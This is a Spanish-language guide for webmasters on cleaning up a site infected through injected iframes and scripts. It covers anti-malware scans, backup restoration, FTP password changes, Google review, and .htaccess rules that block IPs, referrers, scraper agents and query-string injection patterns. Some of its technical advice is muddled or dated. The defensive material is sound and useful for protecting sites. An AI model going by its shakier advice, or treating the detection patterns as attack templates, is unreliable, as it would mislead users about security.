

INTERNET Y SEGURIDAD.

WAM - Web Anti-Malware.

Autor : José María Amenós Vidal (*). Psicólogo Clínico y Social (docencia e investigación desde 1984) por la Universidad Central de Barcelona (España). Miembro fundador y Administrador FPC.

Fundación Psicología y Cristianismo. c/ Museo, núm. 26 - 1º 1ª. 08912. Badalona (Barcelona). España. e-mail : info@psicologos.tk - url : www.psicologos.tk

Índice. Introducción. 1. Análisis, detección y eliminación de Malware. 2. Protección con contraseña del puerto 8080, actualizar a IE8 e implementar un host local. 3. Cambiar la clave de acceso FTP y modificar el archivo .htaccess. Conclusiones. Google Search y Dasient WAM - Web Anti-Malware. Apéndice. Notas y Textos. Referencias bibliográficas. Agradecimientos. Palabras Clave.

Nota de autor.

(*) José María Amenós Vidal (investigador).

Licenciado en Filosofía y Ciencias de la Educación, Psicología Clínica y Postgrado de Psicología Social.

Director de Seminarios en la Facultad de Psicología de la Universidad Central de Barcelona. Investigador de la CIRIT (Comissió Interdepartamental de Recerca i Innovació Tecnològica) de la Generalitat de Catalunya y del Laboratorio de Sociología del ICESB (Instituto Católico de Estudios Sociales de Barcelona). Máster por el INIEC (Instituto de Investigaciones Ecológicas) de Málaga (España).

Introducción.

Escribo este breve artículo con algunas orientaciones para webmasters por si puede serles de utilidad ante la experiencia adquirida en combatir ataques malware que provienen de un servidor remoto de origen desconocido y que inyecta código malicioso en sitios legítimos.

Se preguntarán algunos que es el malware, pues todo tipo de software espía, virus informáticos, etc ... que se intenta insertar a través de iframes y/o scripts en el código fuente de las páginas web sin conocimiento del webmaster para infectar los PCs de los usuarios ...

RESUMEN

1. Análisis, detección y eliminación de Malware.

La implantación de un rastreador anti-malware en su PC, es decir, del programa Malwarebytes Anti-Malware para análisis y reparación de código malicioso, ... junto a la intervención del examen de Windows Live OneCare (Microsoft Security Essentials) ...

2. Protección con contraseña del puerto 8080, actualizar a IE8 e implementar un host local.

La protección con contraseña del puerto 8080, con la aplicación de FDM Remote Control Server de Free Download Manager, ... y la actualización a Internet Explorer 8 con la utilización simultánea de la directiva de privacidad de páginas web ...

El uso del programa de simulación XAMPP : Apache, FTP, MySQL ... para ayudar a recuperar la página electrónica original y hacer efectiva su actualización (por ejemplo a XOOPS 2.0.) con el fin de mejorar su seguridad, ...

3. Cambiar la clave de acceso FTP y modificar el archivo .htaccess.

El cambio en la clave de acceso FTP - File Transfer Protocol y la modificación de archivos en los que se ha introducido código específico y genérico .htaccess contra la infección en nuestro servidor.

Conclusiones.

Y la instrumentalización de las herramientas del webmaster de Google así como del programa de prevención de intrusiones Dasient WAM, ...

Hacen de todas estas medidas adoptadas a día de hoy una metodología efectiva para garantizar la seguridad en la web, como si nuestro sitio en la red se tratara de un banco nacional, ...

La regla de oro de la seguridad en Internet es mantener actualizados tanto los anti-virus como las aplicaciones informáticas de nuestro PC.

Un ejemplo de programa que también nos servirá para complementar la protección de nuestros ordenadores es Microsoft Security Essentials.

Notas.

En realidad, los tres pasos fundamentales primera y anteriormente citados son los más importantes, para proteger a los usuarios y su sitio legítimo de posibles infecciones a causa de la inserción de código malicioso sin su conocimiento ... el complemento del archivo .htaccess es para fortalecer su protección ante nuevos ataques de malware.

En definitiva, si a pesar de todo existe aviso en el buscador Google de que su sitio ha distribuido durante los últimos 90 días software malicioso por causas ajenas a su voluntad, ... deberán utilizar las herramientas del webmaster, y seguir las instrucciones para introducir un código "meta" entre las etiquetas "head" antes de "body" de su web, ... para verificar que Ud. es el propietario del sitio en la red, ...

Y posteriormente utilizar el formulario habilitado al efecto y dirigir un correo al staff de Google search para que vuelvan a comprobar su sitio ya limpio de malware para conseguir eliminar el aviso de sitio malicioso.

1. Análisis, detección y eliminación de Malware.

Para detectarlos es posible descubrirlos utilizando buenos programas informáticos, ... la primera recomendación es por tanto, aconsejarles unos de los mejores ...

Malwarebytes Anti-Malware tiene una actualización constante de su base de datos en cuanto a firmas de intrusiones, lo cual lo convierte en un poderoso rastreador de posibles infecciones ... dispone de una herramienta auxiliar que destruye cualquier archivo intoxicado y bloqueado en su sistema, ... se puede descargar en el sitio espejo de CNET (1).

Windows Live OneCare (Microsoft Security Essentials) tiene un examen exhaustivo y completo que permite detectar los archivos infectados por código malicioso ...

Se debe analizar en primer lugar el propio PC por si ha resultado infectado, incluyendo en el análisis completo del sistema, una copia de seguridad de los archivos del sitio web infectado, ... al cabo de unas horas se nos indicará aquellos archivos infectados en nuestro ordenador que deben ser eliminados ... En cualquier caso, es necesario limpiar tanto nuestro PC como modificar aquellos archivos de la copia de seguridad analizada de nuestra página web que resultaron infectados.

Es decir, suprimir los virus o troyanos que se han introducido en el software de nuestro ordenador, así como devolver a su estado original aquellos archivos infectados de la copia de seguridad que han incluido código malicioso (iframes, scripts, etc ...) sin nuestro conocimiento, es decir, revisar el código fuente y repararlo, o bien, sustituyendo el archivo infectado por el archivo original correspondiente a alguna de las anteriores copias de seguridad que ofrezca garantías de no haber sido alterada ... utilizando para todo ello, la suma de análisis de Malwarebytes Anti-Malware + Windows Live OneCare ... para su detección, eliminación y reparación.

Una observación muy importante es que cualquier archivo de la copia de seguridad de la web en su PC con código malicioso que deban reparar, sea abierto única y exclusivamente con el bloc de notas para modificarlo, si deciden utilizar este método en vez de sustituirlo por el archivo original ante posibles dudas ... el tipo de iframes suelen contener urls seguidas de "8080" y en cuanto a los scripts maliciosos suelen ir precedidos de una etiqueta "ad".

Aunque siendo este un buen método de trabajo para ahorrar tiempo y esfuerzo, mi recomendación es cerciorarse, y explicaré la manera posible al existir la posibilidad de la no detección por los programas anti-malware de un mínimo porcentaje de archivos infectados, ... se trata de comprobar en el servidor remoto la fecha en que fueron modificados aquellos que han sido detectados como infectados por los analizadores anti-malware en la copia de seguridad de su web en el PC, esta fecha es el indicativo de cuando hubo intrusión en el servidor remoto, siendo este el marcador para repasar los códigos fuente de todos los demás archivos .php y .html. De este modo, habremos podido comprobar la totalidad de los archivos modificados con esa fecha con el fin de cerciorarnos de que no se encuentren dañados con iframes y scripts maliciosos, y en caso de estarlo reparar su código fuente eliminando el malware, teniendo así la certeza de que han sido detectados y reparados todos los archivos infectados.

2. Protección con contraseña del puerto 8080, actualizar a IE8 e implementar un host local.

En segundo lugar, deberemos descargar otro programa necesario para proteger con contraseña nuestro puerto 8080 de la computadora, puesto que suele ser la ruta alternativa utilizada por el malware para infectarnos ... De este modo, es recomendable utilizar el complemento FDM Remote Control Server del programa de descargas Free Download Manager, que encontrarán en el sitio espejo de Source Forge (2).

En cualquier caso, es recomendable actualizar el navegador a Internet Explorer 8, porque posee una pestaña en la barra de herramientas muy útil, con el nombre "seguridad" que al marcarla despliega en su menú, la opción "directiva de privacidad de páginas web" (3).

Al marcar esta directiva de seguridad nos indica la lista de sitios que operan en su PC al abrir la dirección electrónica de nuestra página web, ... De esta manera podemos detectar entre los sitios indicados, aquellos que hayan sido insertados sin nuestra autorización ... porque nunca los hemos utilizado por alguna u otra razón en nuestra web .. siendo esta una buena medida para comprobar que la web está arreglada y saneada ... (4).

Simulación de páginas web.

Se puede utilizar un buen simulador de páginas web a nivel de host local sin conexión a la red para comprobar el buen funcionamiento de nuestro sitio web con los archivos desinfectados, ... XAMPP, se trata de un programa de altas prestaciones, que incluye sistema operativo Apache, servidor FTP virtual, base de datos MySQL, etc ...

Con el fin de comprobar todos los supuestos que nos encontraremos al cargar nuevamente en el servidor remoto que aloja nuestro dominio todos aquellos archivos desinfectados de nuestra copia de seguridad que debe funcionar correctamente como la original.

En ocasiones puede ser incluso necesario con la ayuda de XAMPP volver a configurar de nuevo todos los parámetros, es decir, cargar las carpetas de archivos de configuración de la página web desde el principio, como si fuera la primera vez que crea su página electrónica.

Por ejemplo, con los CMS - Content Manager System, y ante la magnitud de los daños ocasionados por el malware, se puede recurrir a volver a configurar desde el principio los archivos del servidor FTP - File Transfer Protocol y SQL - Structured Query Language reaprovechando los archivos SQL de la última copia de seguridad de la base de datos en buen estado.

3. Cambiar la clave de acceso FTP y modificar el archivo .htaccess.

Finalmente, cuando estemos seguros de que todo funciona normalmente es imprescindible que cambien la clave de acceso a su FTP en el servidor remoto, indicando este en particular por ser el sistema que generalmente se utiliza para blogs, es decir, modificar el username y password del administrador de archivos de su página web, ...

O dicho de otra manera, cambiar la contraseña de acceso al directorio que alberga por ejemplo todos los archivos de su CMS, si es este el sistema que habitualmente utilizan, como así ocurre entre otros con XOOPS 2.0. que incluye además de FTP una base de datos MySQL de los que se debe exportar regularmente una copia de seguridad para tener guardados los contenidos tanto en el servidor remoto como en el host local.

Puesto que de esta manera al estar limpio el sitio web y PC impiden que se copie de forma remota desde un servidor desconocido la nueva contraseña encriptada ... y aseguran la web y su ordenador contra intrusiones procedentes del mismo malware que originó el ataque ...

De forma alternativa pueden fortalecer y proteger mayormente su página electrónica complementando todas estas medidas de seguridad con la modificación del archivo .htaccess de su servidor remoto, añadiendo a su contenido un nuevo código de seguridad mediante el uso del bloc de notas, pero para ello deben seguir las recomendaciones de un administrador de sistemas, porque se trata de lenguaje de programación y se necesita una persona especializada en seguridad informática. Aunque aquí les dejo un ejemplo de lo que deberían insertar y comprobar en el host local antes de subir el archivo .htaccess al servidor remoto con el fin de constatar el buen funcionamiento de su página web tras los cambios experimentados de modo que quede mejor asegurada ante posibles intrusiones no deseadas (5).

A. Código específico.

El código a insertar en el archivo .htaccess según el administrador de sistemas que lo ha diseñado con pseudónimo "emisho" de Falkland Islands es el siguiente :

I. Bloquea spammers, hackers, etc ...

RewriteEngine on

```
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?gameday.de.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?play-texas-holdem.gameday.de.*$
[NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?craps.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?roulette-online.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?play-poker.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?onlinecasino.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texashold-em.freesevers.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?playonline.inn7winter.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?poker-new.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?available-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free-poker.available-poker.com.*$
[NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texasholdem.prv.pl.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?prv.pl.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?homestead.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texaspoker.homestead.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?t-e-x-a-s-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texas-poker.olo.cc.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?holdem-poker.servertown.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?online-poker.played.by.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?empire-poker.black-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?black-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free.fr.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?pc800cdf.free.fr.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free-poker.standard-poker.com.*$
[NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cameralover.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?golfshoot.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?bitlocker.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?bayfronthomes.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cafexml.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?turniptruck.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?trojan-horse.co.uk.*$ [NC]
RewriteRule * - [F,L]
```

II. Evita proxys y otros sitios no seguros ...

```
RewriteCond %{REMOTE_HOST} adm-muenchen\.de [NC,OR]
RewriteCond %{REMOTE_HOST} cyveillance\.com [NC,OR]
RewriteCond %{REMOTE_HOST} lightspeedsystems\.com [NC,OR]
RewriteCond %{REMOTE_HOST} pea016-29980-net-adsl-01\.altohiway\.com [NC,OR]
RewriteCond %{REMOTE_HOST} smartservercontrol\.com [NC,OR]
RewriteCond %{REMOTE_HOST} syntryx\.com [NC,OR]
RewriteCond %{REMOTE_HOST} proxad\.net [NC]
RewriteRule ^.*$ - [F]
```

III. Bloquea IPs inseguras.

Order Allow,Deny

Allow from All

Deny from 38.118.42.36

Deny from 38.118.42.38

Deny from 58.233.142.144

Deny from 59.42.55.46

Deny from 62.77.178.22

Deny from 63.148.99

Deny from 70.84.132.74

Deny from 82.77.200.162

Deny from 83.116.211.100

Deny from 129.35.81.16

Deny from 142.131.18.2

Deny from 193.120.138.82

Deny from 200.114.66.249

Deny from 202.155.14.223

Deny from 211.157.8.43

Deny from 212.129.232.100

Deny from 212.141.49.20

Deny from 213.239.236.18

Deny from 220.194.54.26

Deny from 38.118.25.59

Deny from 62.252.32.14

Deny from 64.94.136.196

Deny from 65.183.39.107

Deny from 66.17.15.154

Deny from 69.118.3.227

Deny from 69.225.183.82

Deny from 70.253.192.107

Deny from 81.56.134.150

Deny from 81.144.218.50

Deny from 83.156.142.136

Deny from 129.33.184.57

Deny from 194.223.6.5

Deny from 213.83.89.5

Deny from 217.109.185.32

Deny from 12.22.85.3

Deny from 147.230.50.100

Deny from 148.244.150.58

Deny from 165.138.213.230

Deny from 193.159.244.70

Deny from 193.170.65.247

Deny from 194.102.61.162

Deny from 200.167.245.13

Deny from 200.168.105.137

Deny from 200.212.114.3

Deny from 200.56.224.5

Deny from 203.162.27.

Deny from 206.212.187.26

Deny from 207.195.241.4

Deny from 207.44.154.35

Deny from 207.72.66.5

Deny from 208.18.125.231

Deny from 208.53.138.8

Deny from 209.213.127.46

Deny from 209.71.222.11

Deny from 211.157.

Deny from 211.249.118.

Deny from 212.179.154.242

Deny from 212.199.163.143

Deny from 212.199.169.153
Deny from 212.235.18.85
Deny from 212.235.66.240
Deny from 212.91.171.252
Deny from 213.130.118.121
Deny from 213.56.68.29
Deny from 213.56.73.3
Deny from 213.91.217.116
Deny from 216.128.69.140
Deny from 216.139.176.60
Deny from 216.190.203.162
Deny from 216.204.237.10
Deny from 217.120.32.183
Deny from 217.121.100.124
Deny from 217.132.202.119
Deny from 217.160.75.202
Deny from 218.20.116.80
Deny from 218.5.27.115
Deny from 218.85.82.95
Deny from 218.85.83.168
Deny from 220.160.2.167
Deny from 220.160.4.75
Deny from 220.181.26.108
Deny from 221.3.235.
Deny from 24.69.156.45
Deny from 61.144.185.75
Deny from 61.172.65.176
Deny from 61.30.47.21
Deny from 61.30.47.22
Deny from 62.148.230.
Deny from 62.168.39.178
Deny from 62.193.231.242
Deny from 62.194.10.194
Deny from 62.219.59.122
Deny from 63.145.202.2
Deny from 63.148.99.234
Deny from 63.252.226.68
Deny from 64.34.166.88
Deny from 64.34.168.29
Deny from 64.34.200.200
Deny from 64.141.68.16
Deny from 65.75.139.90
Deny from 65.75.146.170
Deny from 65.75.166.110
Deny from 65.75.175.30
Deny from 65.77.131.66
Deny from 65.94.44.50
Deny from 65.94.45.31
Deny from 66.150.40.221
Deny from 66.199.247.74
Deny from 66.246.252.87
Deny from 66.246.252.88
Deny from 66.254.99.174
Deny from 66.33.197.209
Deny from 66.93.178.158
Deny from 66.98.152.93
Deny from 66.98.162.34
Deny from 67.15.130.23
Deny from 68.208.4.19
Deny from 69.0.197.227
Deny from 69.156.204.43
Deny from 69.163.158.82
Deny from 69.50.170.122

Deny from 69.50.170.162
Deny from 72.36.199.154
Deny from 80.132.64.103
Deny from 80.237.140.233
Deny from 80.58.11.107
Deny from 80.58.22.107
Deny from 80.58.4.107
Deny from 80.95.
Deny from 81.169.169.201
Deny from 81.4.89.10
Deny from 82.103.65.
Deny from 82.81.204.164
Deny from 82.81.228.82
Deny from 84.189.
Deny from 84.244.5.173

IV. Evita navegadores maliciosos.

```
RewriteCond %{HTTP_USER_AGENT} ^$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [NC,OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^lwp:: [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^lwp- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Schmozilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [NC,OR]
```

```
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^webcollage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeuse [NC]
RewriteRule ^.*$ - [F]
```

B. Código genérico.

Hemos visto un código específico de ejemplo, ahora mencionaremos un código genérico para incluir en el archivo .htaccess que con pseudónimo "rancitis" de Argentina, lo tenemos en el que a continuación se indica:

```
##### Begin
#
# Bloquear cualquier script intentando de setear un valor mosConfig a través de la URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z]{1,21}(=|%3D) [OR]
# Bloquear cualquier script que intente base64_encode para enviar via URL
RewriteCond %{QUERY_STRING} base64_encode.*\.*) [OR]
# Bloquear cualquier script que incluya una etiqueta <script> en la URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Bloquear cualquier script que intente de setear alguna variable PHP GLOBALS via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\\|%0-9A-Z){0,2} [OR]
# Bloquear cualquier script que intente modificar una variable _REQUEST via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\\|%0-9A-Z){0,2}
# Enviar todas las peticiones bloqueadas al homepage con un error 403!
RewriteRule ^(.*)$ index.php [F,L]
#
##### End
```

En realidad, los tres pasos fundamentales primera y anteriormente citados son los más importantes, para proteger a los usuarios y su sitio legítimo de posibles infecciones a causa de la inserción de código malicioso sin su conocimiento ... el complemento del archivo .htaccess es para fortalecer su protección ante nuevos ataques de malware.

Conclusiones.

Google Search y Dasient WAM - Web Anti-Malware.

En definitiva, si a pesar de todo existe aviso en el buscador Google de que su sitio ha distribuido durante los últimos 90 días software malicioso por causas ajenas a su voluntad, ... deberán utilizar las herramientas del webmaster, y seguir las instrucciones para introducir un código "meta" entre las etiquetas "head" antes de "body" de su web, ... para verificar que Ud. es el propietario del sitio en la red, ...

Y posteriormente utilizar el formulario habilitado al efecto y dirigir un correo al staff de Google search para que vuelvan a comprobar su sitio ya limpio de malware para conseguir eliminar el aviso de sitio malicioso.

Llegados a este punto, un buen programa para la prevención de intrusiones en sitios legítimos, es Dasient Web Anti-Malware ... que desarrolla la misma tecnología que utiliza Google para detectar en la red los sitios que distribuyen software malicioso (intencionado o no) ... (6).

Google Safe Browsing y Malware Domain List.

Una herramienta para webmasters de gran utilidad para los internautas es la página de diagnóstico de navegación segura de Google safe browsing que combinada a la lista de dominios maliciosos de Malware domain list nos ofrece una buena manera de distinguir los sitios seguros e inseguros.

El funcionamiento consiste en añadir la dirección electrónica de cualquier sitio en Internet que queramos diagnosticar a la url de Google safe browsing, por ejemplo, del dominio malwaredomainlist.com que nos ofrece dicha lista de dominios maliciosos.

Del siguiente modo : <http://www.google.es/safebrowsing/diagnostic?site=malwaredomainlist.com>

Es un buen modo, para determinar los sitios legítimos y/o que han sido víctimas de inyección de código malintencionado por servidores remotos que contienen dominios maliciosos.

Herramientas para webmasters.

Mejora la visibilidad de tu sitio en los resultados de la búsqueda de Google. De forma gratuita.

Herramientas para webmasters de Google te brinda informes detallados acerca de la visibilidad de tus páginas en Google. Para comenzar, añade y verifica tu sitio e inmediatamente comenzarás a ver información.

Obtén el punto de vista de Google sobre tu sitio y diagnostica los problemas

Conoce el mecanismo de Google para rastrear e indexar tu sitio, así como los problemas específicos que experimentamos para acceder a él.

Descubre tu enlace y consulta el tráfico.

Visualiza, clasifica y descarga información completa acerca de los enlaces internos y externos a tu sitio con nuevas herramientas de informe de enlaces. Descubre las consultas que generan tráfico hacia tu sitio y la ruta que siguen exactamente los usuarios para llegar a él.

Comparte información sobre tu sitio.

Envíanos comentarios sobre tus páginas a través de Sitemaps: cuáles son las más importantes para ti y con qué frecuencia cambian. También nos puedes apuntar cómo te gustaría que aparecieran las urls que indexamos.

Detalles de malware y rendimiento del sitio.

La lectura de la seguridad según el rendimiento de la página web es un indicativo del buen funcionamiento de las medidas de protección del sitio en la red.

Las páginas de estrategia.info tardan una media de 1,2 segundos en cargarse (actualizado el 03/12/2009).

El tiempo de carga medio de nuestro sitio es más rápido que el del 85 % de los sitios en la red.

El rendimiento muestra cómo ha cambiado el tiempo de carga de página medio del sitio a lo largo de los últimos meses, es decir, diferenciando entre tiempos de carga rápidos y lentos, estos últimos se producían hace más de 90 días en el periodo comprendido entre el 25 de junio y 3 de septiembre de 2009, periodo durante el cual tuvimos que tomar medidas de seguridad para protegernos de los ataques de la piratería informática.

Google Labs sigue indicando para el dominio y subdominios de estrategia.info un lugar de navegación segura sin detección de malware y con un rendimiento máximo optimizado ...

Apéndice.

Malware e Internet : ejemplos prácticos.

Observaciones.

Desde Internet se produce la infección de la unidad C del disco duro del PC, en varias carpetas del sistema, el origen es muy diverso y para entender más sobre esta cuestión en particular nos remitimos al apartado : Google Safe Browsing y Malware Domain List, su desinfección se puede realizar automáticamente a través del programa Malwarebytes Anti-Malware, o de forma manual, accediendo a la carpeta específica del subsistema, ... el modo de proceder en este segundo caso, es insertando el directorio en la ventana de direcciones de su navegador, del siguiente modo :

Por ejemplo, en el caso del agente troyano (trojan agent) de banca online iExplorer.exe que se encontraría en la ubicación C:\WINDOWS\iExplorer.exe debería introducir C:\WINDOWS en la barra de direcciones del navegador, como si quisiera visitar un sitio en Internet, y se abriría la carpeta que contiene la aplicación infectada iExplorer.exe, entonces lo único que tendría que hacer es suprimirlo para enviarlo a la papelera, y posteriormente vaciarla.

Sin embargo, en ocasiones estos troyanos permanecen ocultos, para visualizarlos tras acceder a la ubicación de su carpeta o subcarpeta contenedora, debería mostrar en su PC los archivos ocultos de la manera que se indica a continuación :

En el menú "Inicio" debe acceder a "Panel de control" y una vez allí abrir "Apariencia y temas", y después "Opciones de carpeta", después al desplegarse la ventana de diálogo, en la opción "Ver" deberá marcar la casilla "Mostrar todos los archivos y carpetas ocultos" y marcar "Aceptar" ...

Finalmente, cuando haya localizado las aplicaciones o archivos ocultos infectados, tras eliminarlos puede devolver la visibilidad de archivos o carpetas a su situación original, siguiendo los mismos pasos indicados, pero deberá en esta ocasión desmarcar la opción de "Mostrar todos los archivos y carpetas ocultos", o si bien, marcar la opción "Restaurar valores predeterminados", y después "Aceptar".

Advertencia.

No debe abrir las aplicaciones o archivos infectados, ... solamente la carpeta o subcarpeta que los contiene ... para acceder a eliminarlos.

Ejemplos.

Trojanos habituales en la red y desinfectados del PC de forma automática y/o manual ...

(*) Rutas de acceso y malware (en negrita).

Elementos de Datos del Registro Infectados:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit (Trojan.Agent) -> Data: c:\windows\system32**userinit.exe** -> Quarantined and deleted successfully.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit (Trojan.Agent) -> Data: system32**userinit.exe** -> Quarantined and deleted successfully.

Ficheros Infectados:

C:\Documents and Settings\HP_Propietario\Datos de programa**wiaserva.log** (Malware.Trace) -> Quarantined and deleted successfully.

